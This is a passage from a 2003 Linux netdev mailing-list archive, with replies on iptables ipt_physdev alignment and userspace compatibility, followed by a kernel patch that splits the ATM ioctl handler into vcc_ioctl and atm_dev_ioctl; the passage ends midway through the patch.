<1063703910.5948.85.camel@henrik.marasystems.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="UBnjLfzoMQYIXCvq" Content-Disposition: inline In-Reply-To: <1063703910.5948.85.camel@henrik.marasystems.com> X-Operating-System: Linux obroa-skai.de.gnumonks.org 2.6.0-test4 X-Date: Today is Prickle-Prickle, the 40th day of Bureaucracy in the YOLD 3169 User-Agent: Mutt/1.5.4i X-archive-position: 5969 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: laforge@netfilter.org Precedence: bulk X-list: netdev --UBnjLfzoMQYIXCvq Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Sep 16, 2003 at 11:18:34AM +0200, Henrik Nordstrom wrote: > tis 2003-09-16 klockan 08.02 skrev David S. Miller: >=20 > > Also, another solution could be to store the object inside the kernel > > using a different structure, one where you can guarentee the alignment > > of these things properly. >=20 > unfortunately iptables does not allow such differences between userspace > and kernel representation.. yes. yes. yes. The whole 'kernel internal data structure exported to userspace' is a fundamental design flaw of iptables. There's nothing we can do about it, we'll have to live with it :( That's why the yet-to-be-completed pkttables will use what I call vTLV's (versioned TLV's) for all [netlink based] kernel-userspace communication. > Henrik Nordstrom > MARA Systems AB --=20 - Harald Welte http://www.netfilter.org/ =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D "Fragmentation is like classful addressing -- an interesting early architectural error that shows how much experimentation was going on while IP was being designed." -- Paul Vixie --UBnjLfzoMQYIXCvq Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) iD8DBQE/ZxmNXaXGVTD0i/8RAhomAJ90D0355YCD4jhTTPCOuvrndQ5YDACfcwaW UKucSJjwFt8GlCxUCXPT2CY= =AwWI -----END PGP SIGNATURE----- --UBnjLfzoMQYIXCvq-- From laforge@netfilter.org Tue Sep 16 07:13:29 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 07:13:39 -0700 (PDT) Received: from coruscant.gnumonks.org (mail@coruscant.franken.de [193.174.159.226]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GEDPYa022264 for ; Tue, 16 Sep 2003 07:13:28 -0700 Received: from uucp by coruscant.gnumonks.org with local-bsmtp (Exim 4.22) id 19zGa3-0007L6-Gz for netdev@oss.sgi.com; Tue, 16 Sep 2003 16:13:23 +0200 Received: from laforge by obroa-skai.gnumonks.org with local (Exim 3.36 #1) id 19zGTF-0000Ej-00; Tue, 16 Sep 2003 16:06:21 +0200 Date: Tue, 16 Sep 2003 16:06:21 +0200 From: Harald Welte To: "David S. Miller" Cc: Bart De Schuymer , acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com Subject: Re: ipt_physdev.c alignment problems on parisc64 Message-ID: <20030916140621.GE810@obroa-skai.de.gnumonks.org> Mail-Followup-To: Harald Welte , "David S. Miller" , Bart De Schuymer , acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com References: <200309022116.41697.bdschuym@pandora.be> <20030905153152.GA3623@obroa-skai.de.gnumonks.org> <20030908191400.5ef59ab6.davem@redhat.com> <200309132159.37834.bdschuym@pandora.be> <20030915155903.12a3f95d.davem@redhat.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="RpqchZ26BWispMcB" Content-Disposition: inline In-Reply-To: <20030915155903.12a3f95d.davem@redhat.com> X-Operating-System: Linux obroa-skai.de.gnumonks.org 2.6.0-test4 X-Date: Today is Prickle-Prickle, the 40th day of Bureaucracy in the YOLD 3169 User-Agent: Mutt/1.5.4i X-archive-position: 5968 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: laforge@netfilter.org Precedence: bulk X-list: netdev --RpqchZ26BWispMcB Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Sep 15, 2003 at 03:59:03PM -0700, David S. Miller wrote: > I have to reject the fix for this problem again. >=20 > You can't change the struct exported to userspace in any way > without breaking the tools. I tried to explain this in the > first revision of your change. But ipt_physdev is a 2.6ism, thus we can still introduce any incompatibility... For me it's enough to be compatible within 2.4 or within 2.6.x (once 2.6.0 is out). --=20 - Harald Welte http://www.netfilter.org/ =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D "Fragmentation is like classful addressing -- an interesting early architectural error that shows how much experimentation was going on while IP was being designed." -- Paul Vixie --RpqchZ26BWispMcB Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) iD8DBQE/ZxjdXaXGVTD0i/8RAvwEAJ4htvS6D4AkjvQ7jP73ip6fNWIIWwCgkWvh p5vr4UEckgkef/6IvUVH/vA= =l7fr -----END PGP SIGNATURE----- --RpqchZ26BWispMcB-- From tommy@home.tig-grr.com Tue Sep 16 08:17:05 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 08:17:09 -0700 (PDT) Received: from mpenc1.prognet.com ([207.188.30.29]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GFH4Ya025158 for ; Tue, 16 Sep 2003 08:17:05 -0700 Received: from tommy by mpenc1.prognet.com with local (Exim 3.35 #1 (Debian)) id 19zHYD-0008QE-00; Tue, 16 Sep 2003 08:15:33 -0700 Date: Tue, 16 Sep 2003 08:15:33 -0700 From: Tom Marshall To: Harald Welte , "David S. Miller" , Bart De Schuymer , acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com Subject: Re: ipt_physdev.c alignment problems on parisc64 Message-ID: <20030916151533.GA28380@home.tig-grr.com> References: <200309022116.41697.bdschuym@pandora.be> <20030905153152.GA3623@obroa-skai.de.gnumonks.org> <20030908191400.5ef59ab6.davem@redhat.com> <200309132159.37834.bdschuym@pandora.be> <20030915155903.12a3f95d.davem@redhat.com> <20030916140621.GE810@obroa-skai.de.gnumonks.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="zYM0uCDKw75PZbzx" Content-Disposition: inline In-Reply-To: <20030916140621.GE810@obroa-skai.de.gnumonks.org> User-Agent: Mutt/1.3.28i X-archive-position: 5970 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: tommy@home.tig-grr.com Precedence: bulk X-list: netdev --zYM0uCDKw75PZbzx Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Sep 16, 2003 at 04:06:21PM +0200, Harald Welte wrote: > On Mon, Sep 15, 2003 at 03:59:03PM -0700, David S. Miller wrote: >=20 > > I have to reject the fix for this problem again. > >=20 > > You can't change the struct exported to userspace in any way > > without breaking the tools. I tried to explain this in the > > first revision of your change. >=20 > But ipt_physdev is a 2.6ism, thus we can still introduce any > incompatibility... For me it's enough to be compatible within 2.4 or > within 2.6.x (once 2.6.0 is out). Noooo! Please don't break compatibility for 2.6. I really don't want to have separate /sbin/iptables-2.4 and /sbin/iptables-2.6 binaries. --=20 Logic is a systematic method of coming to the wrong conclusion with confidence. --zYM0uCDKw75PZbzx Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj9nKRUACgkQFMm9uvwPXW79sACeKTonAiYJ32Mzkw/82LQ7WXgj dcoAn2A4I89L7diDC6n10ogEz+QsYzLq =hQMT -----END PGP SIGNATURE----- --zYM0uCDKw75PZbzx-- From chas@cmf.nrl.navy.mil Tue Sep 16 09:03:54 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 09:03:59 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GG3XYa030020 for ; Tue, 16 Sep 2003 09:03:53 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8GC0PSa012595; Tue, 16 Sep 2003 08:00:25 -0400 (EDT) Message-Id: <200309161200.h8GC0PSa012595@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM][2.4] split atm_ioctl into vcc_ioctl and atm_dev_ioctl Reply-To: chas3@users.sourceforge.net Date: Tue, 16 Sep 2003 08:00:26 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 5971 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1130 -> 1.1131 # net/atm/pvc.c 1.4 -> 1.5 # net/atm/svc.c 1.4 -> 1.5 # net/atm/common.h 1.2 -> 1.3 # net/atm/resources.h 1.3 -> 1.4 # net/atm/resources.c 1.6 -> 1.7 # net/atm/common.c 1.18 -> 1.19 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/14 chas@relax.cmf.nrl.navy.mil 1.1131 # svc.c, resources.h, resources.c, pvc.c, common.h, common.c: # [ATM]: split atm_ioctl into vcc_ioctl and atm_dev_ioctl # -------------------------------------------- # diff -Nru a/net/atm/common.c b/net/atm/common.c --- a/net/atm/common.c Mon Sep 15 16:16:26 2003 +++ b/net/atm/common.c Mon Sep 15 16:16:26 2003 @@ -564,129 +564,51 @@ } -static void copy_aal_stats(struct k_atm_aal_stats *from, - struct atm_aal_stats *to) +int vcc_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg) { -#define __HANDLE_ITEM(i) to->i = atomic_read(&from->i) - __AAL_STAT_ITEMS -#undef __HANDLE_ITEM -} - - -static void subtract_aal_stats(struct k_atm_aal_stats *from, - struct atm_aal_stats *to) -{ -#define __HANDLE_ITEM(i) atomic_sub(to->i,&from->i) - __AAL_STAT_ITEMS -#undef __HANDLE_ITEM -} - - -static int fetch_stats(struct atm_dev *dev,struct atm_dev_stats *arg,int zero) -{ - struct atm_dev_stats tmp; - int error = 0; - - copy_aal_stats(&dev->stats.aal0,&tmp.aal0); - copy_aal_stats(&dev->stats.aal34,&tmp.aal34); - copy_aal_stats(&dev->stats.aal5,&tmp.aal5); - if (arg) error = copy_to_user(arg,&tmp,sizeof(tmp)); - if (zero && !error) { - subtract_aal_stats(&dev->stats.aal0,&tmp.aal0); - subtract_aal_stats(&dev->stats.aal34,&tmp.aal34); - subtract_aal_stats(&dev->stats.aal5,&tmp.aal5); - } - return error ? -EFAULT : 0; -} - - -int atm_ioctl(struct socket *sock,unsigned int cmd,unsigned long arg) -{ - struct atm_dev *dev; - struct list_head *p; struct atm_vcc *vcc; - int *tmp_buf, *tmp_p; - void *buf; - int error,len,size,number, ret_val; + int error; - ret_val = 0; vcc = ATM_SD(sock); switch (cmd) { case SIOCOUTQ: if (sock->state != SS_CONNECTED || - !test_bit(ATM_VF_READY,&vcc->flags)) { - ret_val = -EINVAL; + !test_bit(ATM_VF_READY, &vcc->flags)) { + error = -EINVAL; goto done; } - ret_val = put_user(vcc->sk->sndbuf- - atomic_read(&vcc->sk->wmem_alloc), - (int *) arg) ? -EFAULT : 0; + error = put_user(vcc->sk->sndbuf- + atomic_read(&vcc->sk->wmem_alloc), + (int *) arg) ? -EFAULT : 0; goto done; case SIOCINQ: { struct sk_buff *skb; if (sock->state != SS_CONNECTED) { - ret_val = -EINVAL; + error = -EINVAL; goto done; } skb = skb_peek(&vcc->sk->receive_queue); - ret_val = put_user(skb ? skb->len : 0,(int *) arg) - ? -EFAULT : 0; - goto done; - } - case ATM_GETNAMES: - if (get_user(buf, - &((struct atm_iobuf *) arg)->buffer)) { - ret_val = -EFAULT; - goto done; - } - if (get_user(len, - &((struct atm_iobuf *) arg)->length)) { - ret_val = -EFAULT; + error = put_user(skb ? skb->len : 0, + (int *) arg) ? -EFAULT : 0; goto done; } - size = 0; - spin_lock(&atm_dev_lock); - list_for_each(p, &atm_devs) - size += sizeof(int); - if (size > len) { - spin_unlock(&atm_dev_lock); - ret_val = -E2BIG; - goto done; - } - tmp_buf = kmalloc(size, GFP_ATOMIC); - if (!tmp_buf) { - spin_unlock(&atm_dev_lock); - ret_val = -ENOMEM; - goto done; - } - tmp_p = tmp_buf; - list_for_each(p, &atm_devs) { - dev = list_entry(p, struct atm_dev, dev_list); - *tmp_p++ = dev->number; - } - spin_unlock(&atm_dev_lock); - ret_val = ((copy_to_user(buf, tmp_buf, size)) || - put_user(size, &((struct atm_iobuf *) arg)->length) - ) ? -EFAULT : 0; - kfree(tmp_buf); - goto done; case SIOCGSTAMP: /* borrowed from IP */ if (!vcc->sk->stamp.tv_sec) { - ret_val = -ENOENT; + error = -ENOENT; goto done; } - ret_val = copy_to_user((void *) arg, &vcc->sk->stamp, - sizeof(struct timeval)) ? -EFAULT : 0; + error = copy_to_user((void *) arg, &vcc->sk->stamp, + sizeof(struct timeval)) ? -EFAULT : 0; goto done; case ATM_SETSC: printk(KERN_WARNING "ATM_SETSC is obsolete\n"); - ret_val = 0; + error = 0; goto done; case ATMSIGD_CTRL: if (!capable(CAP_NET_ADMIN)) { - ret_val = -EPERM; + error = -EPERM; goto done; } /* @@ -697,29 +619,29 @@ * have the same privledges that /proc/kcore needs */ if (!capable(CAP_SYS_RAWIO)) { - ret_val = -EPERM; + error = -EPERM; goto done; } error = sigd_attach(vcc); - if (!error) sock->state = SS_CONNECTED; - ret_val = error; + if (!error) + sock->state = SS_CONNECTED; goto done; #if defined(CONFIG_ATM_CLIP) || defined(CONFIG_ATM_CLIP_MODULE) case SIOCMKCLIP: if (!capable(CAP_NET_ADMIN)) { - ret_val = -EPERM; + error = -EPERM; goto done; } if (try_atm_clip_ops()) { - ret_val = atm_clip_ops->clip_create(arg); + error = atm_clip_ops->clip_create(arg); if (atm_clip_ops->owner) __MOD_DEC_USE_COUNT(atm_clip_ops->owner); } else - ret_val = -ENOSYS; + error = -ENOSYS; goto done; case ATMARPD_CTRL: if (!capable(CAP_NET_ADMIN)) { - ret_val = -EPERM; + error = -EPERM; goto done; } #if defined(CONFIG_ATM_CLIP_MODULE) @@ -732,51 +654,50 @@ __MOD_DEC_USE_COUNT(atm_clip_ops->owner); if (!error) sock->state = SS_CONNECTED; - ret_val = error; } else - ret_val = -ENOSYS; + error = -ENOSYS; goto done; case ATMARP_MKIP: if (!capable(CAP_NET_ADMIN)) { - ret_val = -EPERM; + error = -EPERM; goto done; } if (try_atm_clip_ops()) { - ret_val = atm_clip_ops->clip_mkip(vcc, arg); + error = atm_clip_ops->clip_mkip(vcc, arg); if (atm_clip_ops->owner) __MOD_DEC_USE_COUNT(atm_clip_ops->owner); } else - ret_val = -ENOSYS; + error = -ENOSYS; goto done; case ATMARP_SETENTRY: if (!capable(CAP_NET_ADMIN)) { - ret_val = -EPERM; + error = -EPERM; goto done; } if (try_atm_clip_ops()) { - ret_val = atm_clip_ops->clip_setentry(vcc, arg); + error = atm_clip_ops->clip_setentry(vcc, arg); if (atm_clip_ops->owner) __MOD_DEC_USE_COUNT(atm_clip_ops->owner); } else - ret_val = -ENOSYS; + error = -ENOSYS; goto done; case ATMARP_ENCAP: if (!capable(CAP_NET_ADMIN)) { - ret_val = -EPERM; + error = -EPERM; goto done; } if (try_atm_clip_ops()) { - ret_val = atm_clip_ops->clip_encap(vcc, arg); + error = atm_clip_ops->clip_encap(vcc, arg); if (atm_clip_ops->owner) __MOD_DEC_USE_COUNT(atm_clip_ops->owner); } else - ret_val = -ENOSYS; + error = -ENOSYS; goto done; #endif #if defined(CONFIG_ATM_LANE) || defined(CONFIG_ATM_LANE_MODULE) case ATMLEC_CTRL: if (!capable(CAP_NET_ADMIN)) { - ret_val = -EPERM; + error = -EPERM; goto done; } #if defined(CONFIG_ATM_LANE_MODULE) @@ -789,39 +710,38 @@ __MOD_DEC_USE_COUNT(atm_lane_ops->owner); if (error >= 0) sock->state = SS_CONNECTED; - ret_val = error; } else - ret_val = -ENOSYS; + error = -ENOSYS; goto done; case ATMLEC_MCAST: if (!capable(CAP_NET_ADMIN)) { - ret_val = -EPERM; + error = -EPERM; goto done; } if (try_atm_lane_ops()) { - ret_val = atm_lane_ops->mcast_attach(vcc, (int) arg); + error = atm_lane_ops->mcast_attach(vcc, (int) arg); if (atm_lane_ops->owner) __MOD_DEC_USE_COUNT(atm_lane_ops->owner); } else - ret_val = -ENOSYS; + error = -ENOSYS; goto done; case ATMLEC_DATA: if (!capable(CAP_NET_ADMIN)) { - ret_val = -EPERM; + error = -EPERM; goto done; } if (try_atm_lane_ops()) { - ret_val = atm_lane_ops->vcc_attach(vcc, (void *) arg); + error = atm_lane_ops->vcc_attach(vcc, (void *) arg); if (atm_lane_ops->owner) __MOD_DEC_USE_COUNT(atm_lane_ops->owner); } else - ret_val = -ENOSYS; + error = -ENOSYS; goto done; #endif #if defined(CONFIG_ATM_MPOA) || defined(CONFIG_ATM_MPOA_MODULE) case ATMMPC_CTRL: if (!capable(CAP_NET_ADMIN)) { - ret_val = -EPERM; + error = -EPERM; goto done; } #if defined(CONFIG_ATM_MPOA_MODULE) @@ -834,64 +754,63 @@ __MOD_DEC_USE_COUNT(atm_mpoa_ops->owner); if (error >= 0) sock->state = SS_CONNECTED; - ret_val = error; } else - ret_val = -ENOSYS; + error = -ENOSYS; goto done; case ATMMPC_DATA: if (!capable(CAP_NET_ADMIN)) { - ret_val = -EPERM; + error = -EPERM; goto done; } if (try_atm_mpoa_ops()) { - ret_val = atm_mpoa_ops->vcc_attach(vcc, arg); + error = atm_mpoa_ops->vcc_attach(vcc, arg); if (atm_mpoa_ops->owner) __MOD_DEC_USE_COUNT(atm_mpoa_ops->owner); } else - ret_val = -ENOSYS; + error = -ENOSYS; goto done; #endif #if defined(CONFIG_ATM_TCP) || defined(CONFIG_ATM_TCP_MODULE) case SIOCSIFATMTCP: if (!capable(CAP_NET_ADMIN)) { - ret_val = -EPERM; + error = -EPERM; goto done; } if (!atm_tcp_ops.attach) { - ret_val = -ENOPKG; + error = -ENOPKG; goto done; } - fops_get (&atm_tcp_ops); - error = atm_tcp_ops.attach(vcc,(int) arg); - if (error >= 0) sock->state = SS_CONNECTED; - else fops_put (&atm_tcp_ops); - ret_val = error; + fops_get(&atm_tcp_ops); + error = atm_tcp_ops.attach(vcc, (int) arg); + if (error >= 0) + sock->state = SS_CONNECTED; + else + fops_put(&atm_tcp_ops); goto done; case ATMTCP_CREATE: if (!capable(CAP_NET_ADMIN)) { - ret_val = -EPERM; + error = -EPERM; goto done; } if (!atm_tcp_ops.create_persistent) { - ret_val = -ENOPKG; + error = -ENOPKG; goto done; } error = atm_tcp_ops.create_persistent((int) arg); - if (error < 0) fops_put (&atm_tcp_ops); - ret_val = error; + if (error < 0) + fops_put(&atm_tcp_ops); goto done; case ATMTCP_REMOVE: if (!capable(CAP_NET_ADMIN)) { - ret_val = -EPERM; + error = -EPERM; goto done; } if (!atm_tcp_ops.remove_persistent) { - ret_val = -ENOPKG; + error = -ENOPKG; goto done; } error = atm_tcp_ops.remove_persistent((int) arg); - fops_put (&atm_tcp_ops); - ret_val = error; + fops_put(&atm_tcp_ops); goto done; #endif default: @@ -899,183 +818,23 @@ } #if defined(CONFIG_PPPOATM) || defined(CONFIG_PPPOATM_MODULE) if (pppoatm_ioctl_hook) { - ret_val = pppoatm_ioctl_hook(vcc, cmd, arg); - if (ret_val != -ENOIOCTLCMD) + error = pppoatm_ioctl_hook(vcc, cmd, arg); + if (error != -ENOIOCTLCMD) goto done; } #endif #if defined(CONFIG_ATM_BR2684) || defined(CONFIG_ATM_BR2684_MODULE) if (br2684_ioctl_hook) { - ret_val = br2684_ioctl_hook(vcc, cmd, arg); - if (ret_val != -ENOIOCTLCMD) + error = br2684_ioctl_hook(vcc, cmd, arg); + if (error != -ENOIOCTLCMD) goto done; } #endif - if (get_user(buf,&((struct atmif_sioc *) arg)->arg)) { - ret_val = -EFAULT; - goto done; - } - if (get_user(len,&((struct atmif_sioc *) arg)->length)) { - ret_val = -EFAULT; - goto done; - } - if (get_user(number,&((struct atmif_sioc *) arg)->number)) { - ret_val = -EFAULT; - goto done; - } - if (!(dev = atm_dev_lookup(number))) { - ret_val = -ENODEV; - goto done; - } - - size = 0; - switch (cmd) { - case ATM_GETTYPE: - size = strlen(dev->type)+1; - if (copy_to_user(buf,dev->type,size)) { - ret_val = -EFAULT; - goto done_release; - } - break; - case ATM_GETESI: - size = ESI_LEN; - if (copy_to_user(buf,dev->esi,size)) { - ret_val = -EFAULT; - goto done_release; - } - break; - case ATM_SETESI: - { - int i; - - for (i = 0; i < ESI_LEN; i++) - if (dev->esi[i]) { - ret_val = -EEXIST; - goto done_release; - } - } - /* fall through */ - case ATM_SETESIF: - { - unsigned char esi[ESI_LEN]; - - if (!capable(CAP_NET_ADMIN)) { - ret_val = -EPERM; - goto done_release; - } - if (copy_from_user(esi,buf,ESI_LEN)) { - ret_val = -EFAULT; - goto done_release; - } - memcpy(dev->esi,esi,ESI_LEN); - ret_val = ESI_LEN; - goto done_release; - } - case ATM_GETSTATZ: - if (!capable(CAP_NET_ADMIN)) { - ret_val = -EPERM; - goto done_release; - } - /* fall through */ - case ATM_GETSTAT: - size = sizeof(struct atm_dev_stats); - error = fetch_stats(dev,buf,cmd == ATM_GETSTATZ); - if (error) { - ret_val = error; - goto done_release; - } - break; - case ATM_GETCIRANGE: - size = sizeof(struct atm_cirange); - if (copy_to_user(buf,&dev->ci_range,size)) { - ret_val = -EFAULT; - goto done_release; - } - break; - case ATM_GETLINKRATE: - size = sizeof(int); - if (copy_to_user(buf,&dev->link_rate,size)) { - ret_val = -EFAULT; - goto done_release; - } - break; - case ATM_RSTADDR: - if (!capable(CAP_NET_ADMIN)) { - ret_val = -EPERM; - goto done_release; - } - atm_reset_addr(dev); - break; - case ATM_ADDADDR: - case ATM_DELADDR: - if (!capable(CAP_NET_ADMIN)) { - ret_val = -EPERM; - goto done_release; - } - { - struct sockaddr_atmsvc addr; - - if (copy_from_user(&addr,buf,sizeof(addr))) { - ret_val = -EFAULT; - goto done_release; - } - if (cmd == ATM_ADDADDR) - ret_val = atm_add_addr(dev,&addr); - else - ret_val = atm_del_addr(dev,&addr); - goto done_release; - } - case ATM_GETADDR: - size = atm_get_addr(dev,buf,len); - if (size < 0) - ret_val = size; - else - /* may return 0, but later on size == 0 means "don't - write the length" */ - ret_val = put_user(size, - &((struct atmif_sioc *) arg)->length) ? -EFAULT : 0; - goto done_release; - case ATM_SETLOOP: - if (__ATM_LM_XTRMT((int) (long) buf) && - __ATM_LM_XTLOC((int) (long) buf) > - __ATM_LM_XTRMT((int) (long) buf)) { - ret_val = -EINVAL; - goto done_release; - } - /* fall through */ - case ATM_SETCIRANGE: - case SONET_GETSTATZ: - case SONET_SETDIAG: - case SONET_CLRDIAG: - case SONET_SETFRAMING: - if (!capable(CAP_NET_ADMIN)) { - ret_val = -EPERM; - goto done_release; - } - /* fall through */ - default: - if (!dev->ops->ioctl) { - ret_val = -EINVAL; - goto done_release; - } - size = dev->ops->ioctl(dev,cmd,buf); - if (size < 0) { - ret_val = (size == -ENOIOCTLCMD ? -EINVAL : size); - goto done_release; - } - } - - if (size) - ret_val = put_user(size,&((struct atmif_sioc *) arg)->length) ? - -EFAULT : 0; - else - ret_val = 0; -done_release: - atm_dev_release(dev); + error = atm_dev_ioctl(cmd, arg); done: - return ret_val; + return error; } diff -Nru a/net/atm/common.h b/net/atm/common.h --- a/net/atm/common.h Mon Sep 15 16:16:26 2003 +++ b/net/atm/common.h Mon Sep 15 16:16:26 2003 @@ -18,7 +18,7 @@ int atm_sendmsg(struct socket *sock,struct msghdr *m,int total_len, struct scm_cookie *scm); unsigned int atm_poll(struct file *file,struct socket *sock,poll_table *wait); -int atm_ioctl(struct socket *sock,unsigned int cmd,unsigned long arg); +int vcc_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg); int atm_setsockopt(struct socket *sock,int level,int optname,char *optval, int optlen); int atm_getsockopt(struct socket *sock,int level,int optname,char *optval, diff -Nru a/net/atm/pvc.c b/net/atm/pvc.c --- a/net/atm/pvc.c Mon Sep 15 16:16:26 2003 +++ b/net/atm/pvc.c Mon Sep 15 16:16:26 2003 @@ -74,24 +74,24 @@ static struct proto_ops SOCKOPS_WRAPPED(pvc_proto_ops) = { - family: PF_ATMPVC, + .family = PF_ATMPVC, - release: atm_release, - bind: pvc_bind, - connect: pvc_connect, - socketpair: sock_no_socketpair, - accept: sock_no_accept, - getname: pvc_getname, - poll: atm_poll, - ioctl: atm_ioctl, - listen: sock_no_listen, - shutdown: pvc_shutdown, - setsockopt: atm_setsockopt, - getsockopt: atm_getsockopt, - sendmsg: atm_sendmsg, - recvmsg: atm_recvmsg, - mmap: sock_no_mmap, - sendpage: sock_no_sendpage, + .release = atm_release, + .bind = pvc_bind, + .connect = pvc_connect, + .socketpair = sock_no_socketpair, + .accept = sock_no_accept, + .getname = pvc_getname, + .poll = atm_poll, + .ioctl = vcc_ioctl, + .listen = sock_no_listen, + .shutdown = pvc_shutdown, + .setsockopt = atm_setsockopt, + .getsockopt = atm_getsockopt, + .sendmsg = atm_sendmsg, + .recvmsg = atm_recvmsg, + .mmap = sock_no_mmap, + .sendpage = sock_no_sendpage, }; diff -Nru a/net/atm/resources.c b/net/atm/resources.c --- a/net/atm/resources.c Mon Sep 15 16:16:26 2003 +++ b/net/atm/resources.c Mon Sep 15 16:16:26 2003 @@ -7,6 +7,7 @@ #include #include #include +#include #include /* for barrier */ #include #include @@ -15,6 +16,7 @@ #include "common.h" #include "resources.h" +#include "addr.h" #ifndef NULL @@ -170,6 +172,240 @@ dev->ops->dev_close(dev); atm_dev_deregister(dev); } + + +static void copy_aal_stats(struct k_atm_aal_stats *from, + struct atm_aal_stats *to) +{ +#define __HANDLE_ITEM(i) to->i = atomic_read(&from->i) + __AAL_STAT_ITEMS +#undef __HANDLE_ITEM +} + + +static void subtract_aal_stats(struct k_atm_aal_stats *from, + struct atm_aal_stats *to) +{ +#define __HANDLE_ITEM(i) atomic_sub(to->i, &from->i) + __AAL_STAT_ITEMS +#undef __HANDLE_ITEM +} + + +static int fetch_stats(struct atm_dev *dev, struct atm_dev_stats *arg, int zero) +{ + struct atm_dev_stats tmp; + int error = 0; + + copy_aal_stats(&dev->stats.aal0, &tmp.aal0); + copy_aal_stats(&dev->stats.aal34, &tmp.aal34); + copy_aal_stats(&dev->stats.aal5, &tmp.aal5); + if (arg) + error = copy_to_user(arg, &tmp, sizeof(tmp)); + if (zero && !error) { + subtract_aal_stats(&dev->stats.aal0, &tmp.aal0); + subtract_aal_stats(&dev->stats.aal34, &tmp.aal34); + subtract_aal_stats(&dev->stats.aal5, &tmp.aal5); + } + return error ? -EFAULT : 0; +} + + +int atm_dev_ioctl(unsigned int cmd, unsigned long arg) +{ + void *buf; + int error, len, number, size = 0; + struct atm_dev *dev; + struct list_head *p; + int *tmp_buf, *tmp_p; + + switch (cmd) { + case ATM_GETNAMES: + if (get_user(buf, &((struct atm_iobuf *) arg)->buffer)) + return -EFAULT; + if (get_user(len, &((struct atm_iobuf *) arg)->length)) + return -EFAULT; + spin_lock(&atm_dev_lock); + list_for_each(p, &atm_devs) + size += sizeof(int); + if (size > len) { + spin_unlock(&atm_dev_lock); + return -E2BIG; + } + tmp_buf = kmalloc(size, GFP_ATOMIC); + if (!tmp_buf) { + spin_unlock(&atm_dev_lock); + return -ENOMEM; + } + tmp_p = tmp_buf; + list_for_each(p, &atm_devs) { + dev = list_entry(p, struct atm_dev, dev_list); + *tmp_p++ = dev->number; + } + spin_unlock(&atm_dev_lock); + error = ((copy_to_user(buf, tmp_buf, size)) || + put_user(size, &((struct atm_iobuf *) arg)->length)) + ? -EFAULT : 0; + kfree(tmp_buf); + return error; + default: + break; + } + + if (get_user(buf, &((struct atmif_sioc *) arg)->arg)) + return -EFAULT; + if (get_user(len, &((struct atmif_sioc *) arg)->length)) + return -EFAULT; + if (get_user(number, &((struct atmif_sioc *) arg)->number)) + return -EFAULT; + + if (!(dev = atm_dev_lookup(number))) + return -ENODEV; + + switch (cmd) { + case ATM_GETTYPE: + size = strlen(dev->type) + 